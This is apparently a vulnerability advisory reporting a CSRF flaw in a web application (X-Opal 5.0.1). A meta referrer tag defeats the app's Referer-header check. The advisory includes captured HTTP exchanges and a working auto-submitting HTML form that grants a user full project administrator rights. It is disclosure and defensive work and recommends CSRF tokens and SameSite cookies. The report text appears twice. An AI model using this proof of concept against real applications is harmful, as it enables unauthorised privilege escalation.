Summary
The current protections against cross-site request forgery (CSRF) are insufficient application-wide.
Details
Currently the referrer header is checked, and if it is invalid, the server returns 403. However, the referrer header can be dropped from CSRF requests using , effectively bypassing this protection.
The most effective way to protect against CSRF vulnerabilities is to include an additional token within relevant requests not transmitted in a cookie: a parameter in a hidden form field. This additional token should contain sufficient entropy and be generated using a cryptographically strong random number generator. It is not feasible for an attacker to determine or predict the value of any token issued to other users. The token should be associated with the user's session, and the application should validate that the correct token is received before performing any action resulting from the request.
Setting the SameSite cookie attribute offers good protection against CSRF attacks but depends on browser support. While most modern browsers implement the SameSite cookie attribute, support is not universal.
PoC
A CSRF proof of concept was created. This is only an example. This vulnerability is present in all examined state-changing requests (excluding PUT requests and requests using JSON bodies).
Basic CSRF attacks are blocked as the referrer header is checked.
POST /ws/project/<redacted>/permissions/project?type=USER&principal=<redacted>-ds&permission=PROJECT_ALL HTTP/1.1
Host: <redacted>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
[mark]Origin: http://burpsuite
Referer: http://burpsuite/[/mark]
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Priority: u=0, i
Te: trailers
Connection: keep-alive
HTTP/1.1 403 Forbidden
Date: Fri, 22 Nov 2024 16:26:23 GMT
Content-Type: application/x-protobuf+json
Connection: keep-alive
Vary: Accept-Encoding
X-Opal-Version: 5.0.1
Set-Cookie: <redacted>
Age=28800;Secure;HttpOnly
Cache-Control: no-cache
Expires: -1
Pragma: no-cache
Set-Cookie: <redacted>
Content-Length: 63
[mark]{"code": 403,"status": "Forbidden","arguments": ["CSRF error"]}[/mark]
This can easily be bypassed by adding <meta name="referrer" content="never"> to the CSRF PoC, which will drop the referrer header.
CSRF PoC:
<html>
[mark]<meta name="referrer" content="never">[/mark]
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://<redacted>/ws/project/<redacted>/permissions/project?type=USER&principal=<redacted>-ds&permission=PROJECT_ALL" method="POST">
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Request sent by the browser.
POST /ws/project/<redacted>/permissions/project?type=USER&principal=<redacted>-ds&permission=PROJECT_ALL HTTP/1.1
Host: <redacted>
Cookie: <redacted>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Origin: null
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Priority: u=0, i
Te: trailers
Connection: keep-alive
Response. The request has been processed.
HTTP/1.1 200 OK
Date: Fri, 22 Nov 2024 16:31:07 GMT
Content-Length: 0
Connection: keep-alive
Vary: Accept-Encoding
X-Opal-Version: 5.0.1
Set-Cookie: <redacted>
Age=28800;Secure;HttpOnly
Cache-Control: no-cache
Expires: -1
Pragma: no-cache
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Set-Cookie: <redacted>
-ds user added to project as administrator.
Impact
Cross-site request forgery (CSRF) vulnerabilities may arise when applications rely solely on HTTP cookies to identify the user who has issued a particular request. Since browsers automatically add cookies to requests regardless of their 'Origin', an attacker can create malicious websites or emails that forge a cross-domain request to the vulnerable application. An attacker might manipulate sensitive data or compromise the web application if data-changing requests are targeted.
Parnuski Reporter
Summary
The current protections against cross-site request forgery (CSRF) are insufficient application-wide.
Details
Currently the referrer header is checked, and if it is invalid, the server returns 403. However, the referrer header can be dropped from CSRF requests using , effectively bypassing this protection.
The most effective way to protect against CSRF vulnerabilities is to include an additional token within relevant requests not transmitted in a cookie: a parameter in a hidden form field. This additional token should contain sufficient entropy and be generated using a cryptographically strong random number generator. It is not feasible for an attacker to determine or predict the value of any token issued to other users. The token should be associated with the user's session, and the application should validate that the correct token is received before performing any action resulting from the request.
Setting the SameSite cookie attribute offers good protection against CSRF attacks but depends on browser support. While most modern browsers implement the SameSite cookie attribute, support is not universal.
PoC
A CSRF proof of concept was created. This is only an example. This vulnerability is present in all examined state-changing requests (excluding PUT requests and requests using JSON bodies).
Basic CSRF attacks are blocked as the referrer header is checked.
This can easily be bypassed by adding
<meta name="referrer" content="never">to the CSRF PoC, which will drop the referrer header.CSRF PoC:
Request sent by the browser.
Response. The request has been processed.
-ds user added to project as administrator.
Impact
Cross-site request forgery (CSRF) vulnerabilities may arise when applications rely solely on HTTP cookies to identify the user who has issued a particular request. Since browsers automatically add cookies to requests regardless of their 'Origin', an attacker can create malicious websites or emails that forge a cross-domain request to the vulnerable application. An attacker might manipulate sensitive data or compromise the web application if data-changing requests are targeted.